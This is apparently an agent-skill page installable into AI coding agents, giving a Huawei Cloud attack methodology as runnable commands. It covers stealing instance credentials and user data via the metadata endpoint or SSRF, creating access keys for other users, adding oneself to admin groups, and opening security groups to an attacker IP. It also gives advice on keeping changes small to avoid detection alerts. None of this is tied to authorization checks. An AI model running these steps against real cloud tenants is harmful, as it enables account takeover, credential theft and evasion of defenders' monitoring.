# Huawei Pentesting

> Huawei Cloud penetration testing methodology. Use when the target uses Huawei Cloud services, when obs.*.myhuaweicloud.com assets are discovered, when Huawei Cloud AK/SK credentials are obtained, when the OpenStack-style metadata at 169.254.169.254 is reachable from inside an ECS instance, or when a security assessment of Huawei Cloud IAM/ECS/OBS/RDS/CCE/FunctionGraph services is required. Covers IAM privilege escalation (OpenStack Keystone), ECS takeover, OBS object storage exploitation, RDS database attacks, CCE container clusters, FunctionGraph function computing, ELB load balancing, LTS logging, and KMS key management. Huawei Cloud exposes three interfaces: the OpenStack CLI, obsutil, and the REST API

- Skill: `dangeroussong/huawei-pentesting` (Agent Skill)
- Install (CLI): `npx get-skill add dangeroussong/huawei-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/dangeroussong/huawei-pentesting/raw
- Safety review: pending (external: skill-scanner WARNING)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: DangerousSONG (https://skillmd.com/u/dangeroussong)
- Updated: 2026-11-19
- Page: https://skillmd.com/skills/dangeroussong/huawei-pentesting

---


# Huawei Cloud Penetration Testing Methodology
- 攻击大类:C09 Web应用漏洞利用

Huawei Cloud IAM/ECS/OBS/RDS/CCE and other services form the primary attack surface. The biggest difference from AWS/Alibaba Cloud/Tencent Cloud is that Huawei Cloud exposes **three independent CLI interfaces** (the OpenStack CLI, obsutil, and the REST API), and its IAM is implemented on top of OpenStack Keystone. Its metadata endpoint uses the standard `169.254.169.254` address but with OpenStack-style paths. This skill follows the penetration testing phases (Phase), covering everything from credential identification to service exploitation and providing complete attack paths.

## ⛔ Further Reading (Must Read)

Once you have identified the specific target service, load the corresponding reference document for the full technical details:

- Detailed compute/storage/database exploitation → read [references/compute-storage-attacks.md](references/compute-storage-attacks.md)
- Detailed container/serverless/logging/KMS exploitation → read [references/platform-services-attacks.md](references/platform-services-attacks.md)

---

## Phase 1: Environment Identification

After obtaining a Huawei Cloud related target, first identify the credential type, confirm which CLI interfaces are usable, and determine your network position.

### 1.1 Credential Types

| Credential Type | Identifying Features | Validity Period | Acquisition Method |
|---|---|---|---|
| Long-term AK/SK | AccessKeyId + SecretAccessKey | Permanent (until manually rotated) | Created in the IAM console / leaked from code |
| IAM Token | X-Auth-Token (Keystone style) | 24 hours by default | Exchanged from username and password / signed with AK/SK |
| Temporary security credentials | AK/SK + SecurityToken | 15 minutes ~ 24 hours | IAM Agency (delegation) |
| IAM Agency (delegation) | Similar to AWS AssumeRole | Follows the token validity | Cross-account/service delegation |

### 1.2 Three CLI Interfaces (unique to Huawei Cloud)

Huawei Cloud uses three different command-line interfaces. This is the key distinction you must understand during a penetration test:

| Interface | Covered Services | Authentication | Installation |
|---|---|---|---|
| openstack CLI | IAM / ECS / security groups | Environment variables or `clouds.yaml` | `pip install python-openstackclient` |
| obsutil | OBS object storage | `obsutil config -i AK -k SK -e endpoint` | Download the binary from the Huawei Cloud website |
| curl + REST API | RDS / ELB / CCE / FunctionGraph / LTS / KMS | `X-Auth-Token` header | Preinstalled with the system |

```bash
# openstack CLI configuration (environment variable method)
export OS_AUTH_URL=https://iam.{region}.myhuaweicloud.com/v3
export OS_PROJECT_NAME={region}
export OS_USERNAME=USERNAME
export OS_PASSWORD=PASSWORD
export OS_DOMAIN_NAME=DOMAIN_NAME

# openstack CLI configuration validation
openstack token issue

# obsutil configuration
obsutil config -i ACCESS_KEY_ID -k SECRET_ACCESS_KEY \
  -e https://obs.{region}.myhuaweicloud.com

# obsutil validation
obsutil ls -limit=1
```

### 1.3 Obtaining an IAM Token (prerequisite for the REST API)

Huawei Cloud REST API calls first require an X-Auth-Token obtained through IAM:

```bash
# Obtain a token with the username and password method
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["password"],
        "password": {
          "user": {
            "domain": {"name": "DOMAIN_NAME"},
            "name": "USERNAME",
            "password": "PASSWORD"
          }
        }
      },
      "scope": {
        "project": {"name": "{region}"}
      }
    }
  }'
# The token is returned in the X-Subject-Token response header, valid for 24 hours by default
TOKEN=$(curl -sI ... | grep X-Subject-Token | awk '{print $2}' | tr -d '\r')

# If you have AK/SK but no username and password
# Huawei Cloud AK/SK signing is fairly complex, so using the SDK is recommended
pip install huaweicloudsdkcore huaweicloudsdkiam
```

### 1.4 Metadata Endpoint

The Huawei Cloud ECS metadata endpoint uses the standard IP `169.254.169.254`, but the paths follow the OpenStack style:

```bash
# Determine whether you are inside an ECS instance
curl -s http://169.254.169.254/openstack/latest/meta_data.json

# Obtain the IAM Agency credentials bound to the instance
curl -s http://169.254.169.254/openstack/latest/securitykey

# Obtain the instance ID and project ID
curl -s http://169.254.169.254/openstack/latest/meta_data.json | python3 -m json.tool
# Fields of interest: uuid (instance ID), project_id, availability_zone

# Obtain the User-Data (may contain credentials from initialization scripts)
curl -s http://169.254.169.254/openstack/latest/user_data
```

**Note:** the Huawei Cloud metadata IP is identical to AWS (`169.254.169.254`), but the paths use the OpenStack format (`/openstack/latest/`). Some SSRF protections that only block the AWS path `/latest/meta-data/` while leaving the OpenStack path open can still be exploited.

### 1.5 Object Storage URL Format

```
Public access:  https://{bucket}.obs.{region}.myhuaweicloud.com/{object}
```

Finding a `obs.*.myhuaweicloud.com` domain confirms the target uses Huawei Cloud OBS. Bucket names are globally unique.

### 1.6 Region Codes

| Region Code | Location | Notes |
|---|---|---|
| cn-north-4 | North China-Beijing 4 | Most commonly used region |
| cn-north-1 | North China-Beijing 1 | |
| cn-east-3 | East China-Shanghai 1 | |
| cn-east-2 | East China-Shanghai 2 | |
| cn-south-1 | South China-Guangzhou | |
| cn-southwest-2 | Southwest China-Guiyang 1 | |
| ap-southeast-1 | Asia Pacific-Hong Kong | No ICP filing required |
| ap-southeast-3 | Asia Pacific-Singapore | Overseas region |

You must iterate over multiple regions during enumeration. IAM is a global service (`iam.myhuaweicloud.com`), while ECS/OBS/RDS and others must be operated region by region.

### 1.7 IAM Identity Model

Huawei Cloud IAM is built on OpenStack Keystone and uses a three-level Domain / Project / User hierarchy:

| Concept | Huawei Cloud IAM | AWS IAM |
|---|---|---|
| Top-level account | Domain (contains a Domain ID) | Account (contains an Account ID) |
| Project/region isolation | Project (one Project per region) | No direct equivalent (Region concept) |
| User | User (belongs to a Domain) | IAM User |
| Role/delegation | Agency (delegation, similar to AssumeRole) | IAM Role |
| User group | Group (users inherit permissions once bound) | IAM Group |

```bash
# Show the current user information [openstack]
openstack user show $(openstack token issue -f value -c user_id)

# List all users [openstack]
openstack user list

# Show role assignments [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID
```

---

## Phase 2: Attack Decision Tree

Determine the attack path based on the credentials/position you currently hold (each branch indicates the interface to use):

```
What do you currently hold?
├── No credentials
│   ├── You have a target domain → OBS Bucket enumeration [curl] (guess bucket names + test for public access)
│   ├── You have an SSRF vulnerability → hit http://169.254.169.254/openstack/latest/ [curl]
│   └── You only know the organization name → OSINT + OBS/subdomain enumeration [curl]
│
├── AK/SK
│   ├── Configure openstack CLI + obsutil + obtain a Token
│   ├── Verify: openstack token issue [openstack]
│   ├── You have IAM write permissions → Phase 3 (IAM privilege escalation) [openstack]
│   ├── You have ECS permissions → Phase 4 (compute/storage) [openstack]
│   ├── You have OBS permissions → Phase 4 (object storage) [obsutil]
│   ├── You have RDS/ELB permissions → Phase 4 (database/LB) [REST API]
│   └── Permissions unclear → probe service by service (test all three interfaces)
│
├── Username and password (IAM account)
│   ├── Obtain a Token: POST /v3/auth/tokens [REST API]
│   ├── Configure openstack CLI [openstack]
│   └── Enter the corresponding Phase based on permissions
│
├── Inside an ECS instance
│   ├── Obtain metadata credentials [curl] → enter the corresponding Phase based on permissions
│   └── Check User-Data for hardcoded credentials [curl]
│
└── Container environment (inside a CCE Pod)
    ├── Check the ServiceAccount Token [kubectl]
    ├── Try to access the metadata service [curl]
    └── → Phase 5 (container/serverless) [REST API + kubectl]
```

---

## Phase 3: IAM Privilege Escalation Quick Reference

Huawei Cloud IAM is based on OpenStack Keystone and is operated through the openstack CLI.

### 3.1 Information Gathering

```bash
# List all users [openstack]
openstack user list

# Show details of a given user [openstack]
openstack user show USER_ID

# List role assignments [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID

# List all projects (the Project corresponding to each Region) [openstack]
openstack project list
```

### 3.2 Privilege Escalation Paths

| Escalation Path | Required Permissions | Interface | Operation |
|---|---|---|---|
| Create AK/SK | IAM credential management permission | REST API | Create a permanent access key for a high-privilege user |
| Change a user password | `iam:user:setPassword` | openstack | Reset another user's password to inherit their permissions |
| Create an IAM Agency | `iam:agency:createAgency` | REST API | Create a delegation relationship to obtain permissions from other accounts |
| Modify a user group | `iam:group:addUser` | openstack | Add yourself to a high-privilege user group |
| PassRole + create ECS | Delegation binding + ECS creation | openstack | Launch an ECS instance bound to a high-privilege Agency |
| PassRole + create FunctionGraph | Delegation binding + function creation | REST API | Create a function bound to a high-privilege Agency |

```bash
# Escalation example: create a permanent AK/SK for a high-privilege user [REST API]
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials" \
  -H "X-Auth-Token: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"credential": {"user_id": "TARGET_USER_ID", "description": "backup"}}'
# Returns access (AK) and secret (SK)

# Escalation example: add yourself to the admin group [openstack]
openstack group add user ADMIN_GROUP_ID CURRENT_USER_ID
```

---

## Phase 4: Compute/Storage/Database Quick Reference

### ECS Cloud Servers [openstack]

```bash
# List all instances
openstack server list --long
# Get instance details (focus on security groups, bound IPs, status)
openstack server show SERVER_ID
```

→ read [references/compute-storage-attacks.md](references/compute-storage-attacks.md) for the complete VNC console, password extraction, and metadata exploitation workflow

### OBS Object Storage [obsutil]

```bash
# List all Buckets → list objects → download sensitive files
obsutil ls
obsutil ls obs://BUCKET_NAME/ -limit=100
```

→ read [references/compute-storage-attacks.md](references/compute-storage-attacks.md) for the complete ACL modification, batch download, and public access detection workflow

### RDS Databases [REST API]

```bash
# List database instances
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances" \
  -H "X-Auth-Token: $TOKEN"
```

→ read [references/compute-storage-attacks.md](references/compute-storage-attacks.md) for the complete account creation, backup download, and data export workflow

### ELB Load Balancers [REST API]

```bash
# List load balancer instances
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/loadbalancers" \
  -H "X-Auth-Token: $TOKEN"
```

→ read [references/compute-storage-attacks.md](references/compute-storage-attacks.md) for the complete backend tampering and traffic hijacking workflow

---

## Phase 5: Container/Serverless/Logging/KMS Quick Reference

### CCE Container Engine [REST API + kubectl]

```bash
# List clusters
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters" \
  -H "X-Auth-Token: $TOKEN"
# Obtain kubeconfig, then use kubectl to operate the cluster
```

→ read [references/platform-services-attacks.md](references/platform-services-attacks.md) for the complete cluster takeover, kubeconfig extraction, and privileged Pod creation workflow

### FunctionGraph Function Computing [REST API]

```bash
# List functions (note the URN format)
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions" \
  -H "X-Auth-Token: $TOKEN"
```

→ read [references/platform-services-attacks.md](references/platform-services-attacks.md) for the complete code extraction, environment variable leak, and function configuration workflow

### LTS Log Service [REST API]

```bash
# List log groups
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups" \
  -H "X-Auth-Token: $TOKEN"
```

→ read [references/platform-services-attacks.md](references/platform-services-attacks.md) for the complete sensitive log search and batch export workflow

### KMS Key Management [REST API]

```bash
# List keys
curl -X GET "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/keys" \
  -H "X-Auth-Token: $TOKEN"
```

→ read [references/platform-services-attacks.md](references/platform-services-attacks.md) for the complete key enumeration and data decryption workflow

---

## Phase 6: Security Group Manipulation

Security groups are the network access control layer of Huawei Cloud ECS and are operated through the openstack CLI.

```bash
# List all security groups [openstack]
openstack security group list

# Show security group rules [openstack]
openstack security group rule list SG_ID

# Add an inbound rule — open SSH only to the attacker IP [openstack]
openstack security group rule create --proto tcp --dst-port 22 \
  --remote-ip ATTACKER_IP/32 SG_ID

# Dangerous operation — open all ports (extremely high alert risk) [openstack]
openstack security group rule create --proto tcp --dst-port 1:65535 \
  --remote-ip 0.0.0.0/0 SG_ID
```

**Decision criteria:** only manipulate security groups when you need to establish a reverse connection or directly access internal services. Prefer the narrowest port range plus a specified source IP, to avoid triggering Security Cloud Brain (SecMaster) alerts.

---

## Tool Quick Reference

| Tool | Purpose | Interface Type | Installation/Usage |
|---|---|---|---|
| openstack CLI | IAM/ECS/security group operations | openstack | `pip install python-openstackclient` |
| obsutil | OBS object storage operations | obsutil | Download the binary from the Huawei Cloud website |
| curl | REST API calls + metadata probing | REST API | Preinstalled with the system |
| hcloud CLI | Official Huawei Cloud CLI (replaces curl in some scenarios) | REST API | Download from the Huawei Cloud website |
| kubectl | CCE cluster operations | kubectl | Obtain kubeconfig first, then use it |
| huaweicloudsdkcore | Python SDK (AK/SK signing) | SDK | `pip install huaweicloudsdkcore` |

## Notes

**CTS audit visibility:** Huawei Cloud CTS (Cloud Trace Service) records management event API calls (similar to AWS CloudTrail). The following operations produce highly visible logs:
- IAM changes (creating users, creating AK/SK, modifying user groups)
- Agency (delegation) creation and modification
- Security group rule changes

**SecMaster detection:** Huawei Cloud Security Cloud Brain (SecMaster) detects:
- Anomalous AK/SK calls (unusual IPs, unusual times, unusual API call frequency)
- Anomalous ECS logins (IPs from uncommon regions)
- Anomalous security group rule openings
- OBS Bucket ACL changes to public

**Rate limiting:** Huawei Cloud APIs have rate limiting, so control the frequency during enumeration. Triggering the limit returns HTTP 429 or an `APIGW` error.

**Region traversal:** Huawei Cloud resources are isolated per region. IAM is a global service, but ECS/OBS/RDS and others must be enumerated region by region. Note that each region corresponds to an independent OpenStack Project.

**Authentication isolation across the three interfaces:** the openstack CLI uses environment variable authentication, obsutil uses an independent AK/SK configuration, and the REST API uses X-Auth-Token. When switching regions, the configuration of all three tools must be updated separately.

